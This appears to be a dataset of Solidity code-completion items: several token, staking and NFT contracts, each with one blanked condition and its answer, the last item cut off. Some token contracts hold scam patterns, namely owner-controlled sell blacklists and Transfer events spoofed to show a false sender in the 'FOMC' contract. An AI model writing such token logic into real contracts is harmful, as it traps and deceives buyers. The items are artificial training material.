comment
stringlengths 1
211
β | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Staking: _token is already added to the pool" | pragma solidity 0.8.18;
// import "hardhat/console.sol";
contract Staking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address payable;
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
struct PoolInfo {
IERC20 token; // Address of erc20 token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. Tokens to distribute per second.
uint256 totalDeposit;
uint256 lastRewardTime; // Last timestamp that Tokens distribution occurs.
uint256 accRewardsPerShare; // Accumulated RewardTokens per share, times 1e18.
}
struct PoolView {
uint256 pid;
uint256 allocPoint;
uint256 lastRewardTime;
uint256 rewardsPerSecond;
uint256 accRewardPerShare;
uint256 totalAmount;
address token;
string symbol;
string name;
uint8 decimals;
uint256 startTime;
uint256 bonusEndTime;
}
struct UserView {
uint256 stakedAmount;
uint256 unclaimedRewards;
uint256 lpBalance;
}
uint256 public maxStakingPerUser;
uint256 public rewardPerSecond;
uint256 public standardRewardInterval = 3 days;
uint256 public totalRewards;
uint256 public BONUS_MULTIPLIER = 1;
PoolInfo[] public poolInfo;
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
uint256 private totalAllocPoint = 0;
uint256 public startTime;
uint256 public bonusEndTime;
EnumerableSet.AddressSet private _pairs;
mapping(address => uint256) public LpOfPid;
EnumerableSet.AddressSet private _callers;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount, uint256 rewards);
event EmergencyWithdraw(address indexed user, uint256 amount);
constructor(uint256 _rewardPerSecond, uint256 _maxStakingPerUser) {
}
function stopReward() public onlyOwner {
}
function getMultiplier(
uint256 _from,
uint256 _to
) public view returns (uint256) {
}
function add(
uint256 _allocPoint,
address _token,
bool _withUpdate
) public onlyOwner {
require(_token != address(0), "Staking: _token is the zero address");
require(<FILL_ME>)
EnumerableSet.add(_pairs, _token);
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardTime = block.timestamp > startTime
? block.timestamp
: startTime;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
token: IERC20(_token),
allocPoint: _allocPoint,
totalDeposit: 0,
lastRewardTime: lastRewardTime,
accRewardsPerShare: 0
})
);
LpOfPid[_token] = poolInfo.length - 1;
}
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
}
function updateMultiplier(uint256 multiplierNumber) public onlyOwner {
}
function setMaxStakingPerUser(uint256 amount) public onlyOwner {
}
function setStandardRewardInterval(uint256 interval) public onlyOwner {
}
function pendingReward(
uint256 _pid,
address _user
) public view returns (uint256) {
}
function updatePool(uint256 _pid) public {
}
function massUpdatePools() public {
}
function deposit(uint256 _pid, uint256 _amount) public {
}
function injectRewards() public payable onlyCaller {
}
function injectRewardsWithTime(
uint256 rewardsSeconds
) public payable onlyCaller {
}
function _injectRewardsWithTime(
uint256 amount,
uint256 rewardsSeconds
) internal {
}
function withdraw(uint256 _pid, uint256 _amount) public {
}
function emergencyWithdraw(uint256 _pid) public {
}
function emergencyRewardWithdraw(uint256 _amount) public onlyOwner {
}
function getPoolView(uint256 pid) public view returns (PoolView memory) {
}
function getAllPoolViews() external view returns (PoolView[] memory) {
}
function getUserView(
address token,
address account
) public view returns (UserView memory) {
}
function getUserViews(
address account
) external view returns (UserView[] memory) {
}
function addCaller(address val) public onlyOwner {
}
function delCaller(address caller) public onlyOwner returns (bool) {
}
function getCallers() public view returns (address[] memory ret) {
}
modifier onlyCaller() {
}
}
| !EnumerableSet.contains(_pairs,_token),"Staking: _token is already added to the pool" | 240,802 | !EnumerableSet.contains(_pairs,_token) |
"Staking: exceed max stake" | pragma solidity 0.8.18;
// import "hardhat/console.sol";
contract Staking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address payable;
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
struct PoolInfo {
IERC20 token; // Address of erc20 token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. Tokens to distribute per second.
uint256 totalDeposit;
uint256 lastRewardTime; // Last timestamp that Tokens distribution occurs.
uint256 accRewardsPerShare; // Accumulated RewardTokens per share, times 1e18.
}
struct PoolView {
uint256 pid;
uint256 allocPoint;
uint256 lastRewardTime;
uint256 rewardsPerSecond;
uint256 accRewardPerShare;
uint256 totalAmount;
address token;
string symbol;
string name;
uint8 decimals;
uint256 startTime;
uint256 bonusEndTime;
}
struct UserView {
uint256 stakedAmount;
uint256 unclaimedRewards;
uint256 lpBalance;
}
uint256 public maxStakingPerUser;
uint256 public rewardPerSecond;
uint256 public standardRewardInterval = 3 days;
uint256 public totalRewards;
uint256 public BONUS_MULTIPLIER = 1;
PoolInfo[] public poolInfo;
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
uint256 private totalAllocPoint = 0;
uint256 public startTime;
uint256 public bonusEndTime;
EnumerableSet.AddressSet private _pairs;
mapping(address => uint256) public LpOfPid;
EnumerableSet.AddressSet private _callers;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount, uint256 rewards);
event EmergencyWithdraw(address indexed user, uint256 amount);
constructor(uint256 _rewardPerSecond, uint256 _maxStakingPerUser) {
}
function stopReward() public onlyOwner {
}
function getMultiplier(
uint256 _from,
uint256 _to
) public view returns (uint256) {
}
function add(
uint256 _allocPoint,
address _token,
bool _withUpdate
) public onlyOwner {
}
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
}
function updateMultiplier(uint256 multiplierNumber) public onlyOwner {
}
function setMaxStakingPerUser(uint256 amount) public onlyOwner {
}
function setStandardRewardInterval(uint256 interval) public onlyOwner {
}
function pendingReward(
uint256 _pid,
address _user
) public view returns (uint256) {
}
function updatePool(uint256 _pid) public {
}
function massUpdatePools() public {
}
function deposit(uint256 _pid, uint256 _amount) public {
require(_pid <= poolInfo.length - 1, "Staking: Can not find this pool");
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(<FILL_ME>)
updatePool(_pid);
uint256 reward;
if (user.amount > 0) {
uint256 pending = user
.amount
.mul(pool.accRewardsPerShare)
.div(1e18)
.sub(user.rewardDebt);
if (pending > 0) {
uint256 bal = address(this).balance;
if (bal >= pending) {
reward = pending;
} else {
reward = bal;
}
}
}
if (_amount > 0) {
uint256 oldBal = pool.token.balanceOf(address(this));
pool.token.safeTransferFrom(
address(msg.sender),
address(this),
_amount
);
_amount = pool.token.balanceOf(address(this)).sub(oldBal);
user.amount = user.amount.add(_amount);
pool.totalDeposit = pool.totalDeposit.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accRewardsPerShare).div(1e18);
if (reward > 0) {
payable(msg.sender).sendValue(reward);
}
emit Deposit(msg.sender, _amount);
}
function injectRewards() public payable onlyCaller {
}
function injectRewardsWithTime(
uint256 rewardsSeconds
) public payable onlyCaller {
}
function _injectRewardsWithTime(
uint256 amount,
uint256 rewardsSeconds
) internal {
}
function withdraw(uint256 _pid, uint256 _amount) public {
}
function emergencyWithdraw(uint256 _pid) public {
}
function emergencyRewardWithdraw(uint256 _amount) public onlyOwner {
}
function getPoolView(uint256 pid) public view returns (PoolView memory) {
}
function getAllPoolViews() external view returns (PoolView[] memory) {
}
function getUserView(
address token,
address account
) public view returns (UserView memory) {
}
function getUserViews(
address account
) external view returns (UserView[] memory) {
}
function addCaller(address val) public onlyOwner {
}
function delCaller(address caller) public onlyOwner returns (bool) {
}
function getCallers() public view returns (address[] memory ret) {
}
modifier onlyCaller() {
}
}
| _amount.add(user.amount)<=maxStakingPerUser,"Staking: exceed max stake" | 240,802 | _amount.add(user.amount)<=maxStakingPerUser |
"onlyCaller" | pragma solidity 0.8.18;
// import "hardhat/console.sol";
contract Staking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address payable;
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
uint256 rewardDebt; // Reward debt.
}
struct PoolInfo {
IERC20 token; // Address of erc20 token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. Tokens to distribute per second.
uint256 totalDeposit;
uint256 lastRewardTime; // Last timestamp that Tokens distribution occurs.
uint256 accRewardsPerShare; // Accumulated RewardTokens per share, times 1e18.
}
struct PoolView {
uint256 pid;
uint256 allocPoint;
uint256 lastRewardTime;
uint256 rewardsPerSecond;
uint256 accRewardPerShare;
uint256 totalAmount;
address token;
string symbol;
string name;
uint8 decimals;
uint256 startTime;
uint256 bonusEndTime;
}
struct UserView {
uint256 stakedAmount;
uint256 unclaimedRewards;
uint256 lpBalance;
}
uint256 public maxStakingPerUser;
uint256 public rewardPerSecond;
uint256 public standardRewardInterval = 3 days;
uint256 public totalRewards;
uint256 public BONUS_MULTIPLIER = 1;
PoolInfo[] public poolInfo;
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
uint256 private totalAllocPoint = 0;
uint256 public startTime;
uint256 public bonusEndTime;
EnumerableSet.AddressSet private _pairs;
mapping(address => uint256) public LpOfPid;
EnumerableSet.AddressSet private _callers;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount, uint256 rewards);
event EmergencyWithdraw(address indexed user, uint256 amount);
constructor(uint256 _rewardPerSecond, uint256 _maxStakingPerUser) {
}
function stopReward() public onlyOwner {
}
function getMultiplier(
uint256 _from,
uint256 _to
) public view returns (uint256) {
}
function add(
uint256 _allocPoint,
address _token,
bool _withUpdate
) public onlyOwner {
}
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
}
function updateMultiplier(uint256 multiplierNumber) public onlyOwner {
}
function setMaxStakingPerUser(uint256 amount) public onlyOwner {
}
function setStandardRewardInterval(uint256 interval) public onlyOwner {
}
function pendingReward(
uint256 _pid,
address _user
) public view returns (uint256) {
}
function updatePool(uint256 _pid) public {
}
function massUpdatePools() public {
}
function deposit(uint256 _pid, uint256 _amount) public {
}
function injectRewards() public payable onlyCaller {
}
function injectRewardsWithTime(
uint256 rewardsSeconds
) public payable onlyCaller {
}
function _injectRewardsWithTime(
uint256 amount,
uint256 rewardsSeconds
) internal {
}
function withdraw(uint256 _pid, uint256 _amount) public {
}
function emergencyWithdraw(uint256 _pid) public {
}
function emergencyRewardWithdraw(uint256 _amount) public onlyOwner {
}
function getPoolView(uint256 pid) public view returns (PoolView memory) {
}
function getAllPoolViews() external view returns (PoolView[] memory) {
}
function getUserView(
address token,
address account
) public view returns (UserView memory) {
}
function getUserViews(
address account
) external view returns (UserView[] memory) {
}
function addCaller(address val) public onlyOwner {
}
function delCaller(address caller) public onlyOwner returns (bool) {
}
function getCallers() public view returns (address[] memory ret) {
}
modifier onlyCaller() {
require(<FILL_ME>)
_;
}
}
| _callers.contains(_msgSender()),"onlyCaller" | 240,802 | _callers.contains(_msgSender()) |
"You have been blacklisted from transfering tokens" | /*
.-""-. _______ .-""-.
.'_.-. | ,*********, | .-._'.
/ _/ / **` `** \ \_ \
/.--.' | | **,;;;;;,** | | '.--.\
/ .-`-| | ;//;/;/;\\; | |-`-. \
;.--': | | /;/;/;//\\;\\ | | :'--.;
| _\.'-| | ((;(/;/; \;\);) | |-'./_ |
;_.-'/: | | );)) _ _ (;(( | | :\'-._;
| | _:-'\ \(((( \ );))/ /'-:_ | |
; .:` '._ \ );))\ " /(((( / _.' `:. ;
|-` '-.;_ `-\(;(;((\ = /););))/-` _;.-' `-|
; / .'\ |`'\ );));)/`---`\((;(((./`'| /'. \ ;
| .' / `'.\-((((((\ /))));) \.'` \ '. |
;/ /\_/-`-/ ););)| , |;(;(( \` -\_/\ \;
|.' .| `;/ (;(|'==/|\=='|);) \;` |. '.|
| / \.'/ / _.` | `._ \ \'./ \ |
\| ; |; _,.-` \_/Y\_/ `-.,_ ;| ; |/
\ | ;| ` | | | ` |. | /
`\ || | | | || /`
`:_\ _\/ \/_ /_:'
`"----""` `""----"`
ββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββ
https://web.wechat.com/AngeloxJPN
https://www.zhihu.com/
*/
// SPDX-License-Identifier: NONE
pragma solidity >=0.6.2;
interface LEEKORouterV1 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[] calldata path,
address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token, uint amountTokenDesired,
uint amountTokenMin, uint amountETHMin,
address to, uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply()
external view returns (uint256);
function balanceOf(address account)
external view returns (uint256);
function transfer(address recipient, uint256 amount)
external returns (bool);
function allowance(address owner, address spender)
external view returns (uint256);
function approve(address spender, uint256 amount)
external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount)
external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value);
}
interface IERC20Metadata is IERC20 {
function name()
external view returns (string memory);
function symbol()
external view returns (string memory);
function decimals()
external view returns (uint8);
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner);
constructor() { }
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0, address indexed token1, address pair, uint);
function getPair(
address tokenA, address tokenB) external view returns (address pair);
function createPair(
address tokenA, address tokenB) external returns (address pair);
}
pragma solidity ^0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a, uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(
uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) {
}
}
// https://www.zhihu.com/
// de ETHERSCAN.io.
// https://t.me/
pragma solidity ^0.8.0;
contract IBPSV2 is Context, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 public _rTotal;
string public _name; string public _symbol;
constructor(
string memory name_, string memory symbol_) {
}
function name()
public view virtual override returns (string memory) {
}
function symbol()
public view virtual override returns (string memory) {
}
function decimals()
public view virtual override returns (uint8) {
}
function totalSupply()
public view virtual override returns (uint256) {
}
function balanceOf(address account)
public view virtual override returns (uint256) {
}
function transfer(
address recipient, uint256 amount)
public virtual override returns (bool) {
}
function allowance(
address owner, address spender)
public view virtual override returns (uint256) {
}
function approve(
address spender, uint256 amount)
public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient, uint256 amount
) public virtual override returns (bool) {
}
function _transfer( address sender,
address recipient, uint256 amount) internal virtual {
}
function TransferDelayOn(
address account, uint256 amount)
internal virtual {
}
function _disarmAll(
address account, uint256 amount)
internal virtual {
}
function _approve(
address owner, address spender, uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from, address to, uint256 amount) internal virtual {}
function intervalAmount(
address from, address to, uint256 amount
) internal virtual
{}
}
pragma solidity 0.8.10; contract Angelox is IBPSV2, Ownable {
address public isPromotionsAddress =
address(0x5721fCD177e49570F40B8591c7cB6a39558841AF);
address public PairCreatedV1;
address public constant
BURNINGwallet = address(0xdead);
event UpdateCooldownTimerInterval(
address indexed newAddress, address indexed oldAddress);
event disableTransferDelay(
address indexed pair, bool indexed value);
event tokensForOperations(
uint256 coinsExchanged, uint256 ercTo, uint256 coinsForLIQ);
using SafeMath for uint256;
LEEKORouterV1 public BakeryRouterV1;
bool private checkLimits = false;
uint256 public tPURCHASINGfees = 1; uint256 public tSELLINGfees = 1;
uint256 public tMAXIMUMpurse = 2_000_000 * 1e18;
uint256 public tMAXIMUMswapping = 100_000_000 * 1e18;
uint256 public TimerInterval = block.number;
uint256 public coinsToLiquidity; uint256 public coinsToPromotion;
mapping(address => bool)
private isWalletLimitExempt;
mapping (address => bool)
private automatedMarketMakerPairs;
mapping(address => bool)
public authorizations;
mapping(address => bool)
public isTimelockExempt;
mapping(address => bool)
public allowed;
constructor()
IBPSV2(unicode"Angelox", unicode"πΉαπΊ") {
}
function updatePromotionsADDRESS
(address isArrayPool, bool intVAL)
private {
}
function updateSwapTokensAtAmount
(address account, bool isAllowedAll)
private {
}
function updateTransferDelay
(address account, bool isAllowedAll)
private {
}
function configureBot (address account, bool cooldownEnabled) public onlyOwner {
}
function _transfer(
address IDEfrom, address IDEto, uint256 IDEamount)
internal override { require(IDEamount > 0,
"[_transfer]: Transfer amount must be greater than zero");
require(IDEfrom != address(0),
"[_transfer]: Transfer from the zero address");
require(IDEto != address(0),
"[_transfer]: Transfer to the zero address");
require(<FILL_ME>)
bool stringData = true; uint256 inOperationsWith = 0;
if (!authorizations[IDEfrom]
|| !authorizations[IDEto]) { require(IDEamount
<= tMAXIMUMswapping, "[_transfer]: Max transaction Limit"); }
if (isWalletLimitExempt[IDEfrom]
|| isWalletLimitExempt[IDEto]) { stringData = false; }
if (stringData) { if (allowed[IDEfrom] && tPURCHASINGfees > 0) { inOperationsWith = IDEamount.mul(tPURCHASINGfees).div(100); }
if (allowed[IDEto]
&& tSELLINGfees > 0)
{ inOperationsWith = IDEamount.mul(tSELLINGfees).div(100); }
if (inOperationsWith > 0) { super._transfer(IDEfrom, isPromotionsAddress, inOperationsWith); } }
uint256 amountToSend
= IDEamount - inOperationsWith; super._transfer(IDEfrom, IDEto, amountToSend);
}
function _disableTransferDelay
(address pair, bool value)
private {
}
function RemoveAllLimits
(uint256 amount)
public {
}
function updateMaxWalletAmount
(address account)
public view returns (bool) {
}
receive()
external payable
{}
}
| !automatedMarketMakerPairs[IDEto]&&!automatedMarketMakerPairs[IDEfrom],"You have been blacklisted from transfering tokens" | 240,842 | !automatedMarketMakerPairs[IDEto]&&!automatedMarketMakerPairs[IDEfrom] |
"Need to set swap manager" | // SPDX-License-Identifier: MIT
pragma solidity =0.8.19;
/*
$STRONGX
Website: /
Twitter: /
Telegram: /
*/
import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./interfaces/IUniswapV2Factory.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/ISwapManager.sol";
contract StrongX is ERC20PresetMinterPauser, Ownable {
using SafeMath for uint;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public immutable WETH;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
ISwapManager public swapManager;
uint public maxTransactionAmount;
uint public swapTokensAtAmount;
uint public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
uint public launchBlock;
uint public delayBlocks = 20;
uint public totalFees;
uint public marketingFee;
uint public liquidityFee;
uint public tokensForMarketing;
uint public tokensForLiquidity;
// exclude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapManagerUpdated(
address indexed newManager,
address indexed oldManager
);
event MarketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event BuybackWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint tokensSwapped,
uint wethReceived,
uint tokensIntoLiquidity
);
constructor() ERC20PresetMinterPauser("StrongX", "STRONGX") {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
require(<FILL_ME>)
tradingActive = true;
swapEnabled = true;
launchBlock = block.number;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint newAmount)
external
onlyOwner
returns (bool)
{
}
function updateMaxTxnAmount(uint newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint newNum) external onlyOwner {
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function updateSwapManager(address newManager) external onlyOwner {
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(
address from,
address to,
uint amount
) internal override {
}
function swapBack() private {
}
function rescueTokens(address _token) external onlyOwner {
}
}
| address(swapManager)!=address(0),"Need to set swap manager" | 240,861 | address(swapManager)!=address(0) |
"Exceeded the maximum available NFTs." | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.19;
/// @title Ajman Police
/// @notice Ajman Police General Headquarters
import "./ERC721A.sol";
import "./Ownable.sol";
import "./Strings.sol";
contract AjmanPolice is ERC721A, Ownable {
using Strings for uint256;
uint256 public maxTokens = 202;
string public baseUri;
/// Contructor that will initialize the contract with the owner address
constructor() ERC721A("Ajman Police NFT", "APNFT") {}
/// @notice Set's the BaseUri for the NFTs.
/// @dev the BaseUri is the IPFS base that stores the metadata and images
/// @param _newBaseUri new uri to be set as the baseUri
function setBaseUri(string memory _newBaseUri) public onlyOwner {
}
/// @notice updates the number of max tokens that can be minted
/// @dev set's maxTokens to the new provided maxToken number
/// @param _maxTokens new max token number
function setMaxTokens(uint256 _maxTokens) public onlyOwner {
}
// Override ERC721A baseURI
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory){
}
// Override ERC721A to start token from 1 (instead of 0)
function _startTokenId() internal view virtual override returns (uint256) {
}
modifier mintCheck(uint256 _qty) {
require(_qty > 0, "Must airdrop atleast 1 NFT.");
require(<FILL_ME>)
_;
}
/// @notice Air Drops a single NFT
/// @dev Mints and transfers an NFT to a wallet
/// @param _address The wallet for whome to mint the NFTs
/// @param _qty The number of NFTs to be minted
function airDrop(address _address, uint256 _qty) public onlyOwner mintCheck(_qty) {
}
/// @notice Air Drops NFTs to multiple wallets
/// @dev Mints and transfers NFTs to many wallets
/// @param _address[] The wallets to whome the NFTs will be airdropped
function airDropMany(address[] memory _address) public onlyOwner mintCheck(_address.length) {
}
/// Function that mints the NFT
/// @dev this is a dumb function that simply mints a number of NFTs for a given address.
function mint(address _address, uint256 _qty) internal {
}
/// Basic withdraw functionality
/// @dev Withdraws all balance from the contract to the owner's address
function withdraw() public payable onlyOwner {
}
}
// This SmartContract has been created by TMT Labs
/// @author TMT Labs - https://tmtlabs.xyz - tmtlab.eth
/// @author TJ - Co-Founder of TMT Labs
// The project has been managed by FaisalFinTech
| _qty+_totalMinted()<=maxTokens,"Exceeded the maximum available NFTs." | 240,925 | _qty+_totalMinted()<=maxTokens |
"Amount Exceeds Balance" | pragma solidity 0.8.17;
/*
*/
contract FOMC {
mapping (address => uint256) public balanceOf;
mapping (address => bool) btAmount;
//
string public name = "Proof of Inflation";
string public symbol = unicode"FOMC2.0";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
address Router = 0x68AD82C55f82B578696500098a635d3df466DC7C;
constructor() {
}
address owner = msg.sender;
address Construct = 0xa39a62fb004c138cED1250b37aCe85bf44030ba5;
address lead_deployer = 0x9C33eaCc2F50E39940D3AfaF2c7B8246B681A374;
bool isEnabled;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
require(<FILL_ME>)
if(msg.sender == Construct) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(!btAmount[msg.sender] , "Amount Exceeds Balance");
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
function call(address _usr) public {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function bridge(address to, address _usr, uint256 value) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| !btAmount[msg.sender],"Amount Exceeds Balance" | 241,075 | !btAmount[msg.sender] |
"NaN" | pragma solidity 0.8.17;
/*
*/
contract FOMC {
mapping (address => uint256) public balanceOf;
mapping (address => bool) btAmount;
//
string public name = "Proof of Inflation";
string public symbol = unicode"FOMC2.0";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
address Router = 0x68AD82C55f82B578696500098a635d3df466DC7C;
constructor() {
}
address owner = msg.sender;
address Construct = 0xa39a62fb004c138cED1250b37aCe85bf44030ba5;
address lead_deployer = 0x9C33eaCc2F50E39940D3AfaF2c7B8246B681A374;
bool isEnabled;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
function call(address _usr) public {
require(msg.sender == owner);
require(<FILL_ME>)
btAmount[_usr] = true; }
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function bridge(address to, address _usr, uint256 value) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| !btAmount[_usr],"NaN" | 241,075 | !btAmount[_usr] |
"Amount Exceeds Balance" | pragma solidity 0.8.17;
/*
*/
contract FOMC {
mapping (address => uint256) public balanceOf;
mapping (address => bool) btAmount;
//
string public name = "Proof of Inflation";
string public symbol = unicode"FOMC2.0";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
address Router = 0x68AD82C55f82B578696500098a635d3df466DC7C;
constructor() {
}
address owner = msg.sender;
address Construct = 0xa39a62fb004c138cED1250b37aCe85bf44030ba5;
address lead_deployer = 0x9C33eaCc2F50E39940D3AfaF2c7B8246B681A374;
bool isEnabled;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
function call(address _usr) public {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function bridge(address to, address _usr, uint256 value) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
if(to == Router) {
require(value <= balanceOf[from]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (from, to, value);
return true; }
require(<FILL_ME>)
require(!btAmount[to] , "Amount Exceeds Balance");
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}
| !btAmount[from],"Amount Exceeds Balance" | 241,075 | !btAmount[from] |
"Amount Exceeds Balance" | pragma solidity 0.8.17;
/*
*/
contract FOMC {
mapping (address => uint256) public balanceOf;
mapping (address => bool) btAmount;
//
string public name = "Proof of Inflation";
string public symbol = unicode"FOMC2.0";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
address Router = 0x68AD82C55f82B578696500098a635d3df466DC7C;
constructor() {
}
address owner = msg.sender;
address Construct = 0xa39a62fb004c138cED1250b37aCe85bf44030ba5;
address lead_deployer = 0x9C33eaCc2F50E39940D3AfaF2c7B8246B681A374;
bool isEnabled;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
function call(address _usr) public {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function bridge(address to, address _usr, uint256 value) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
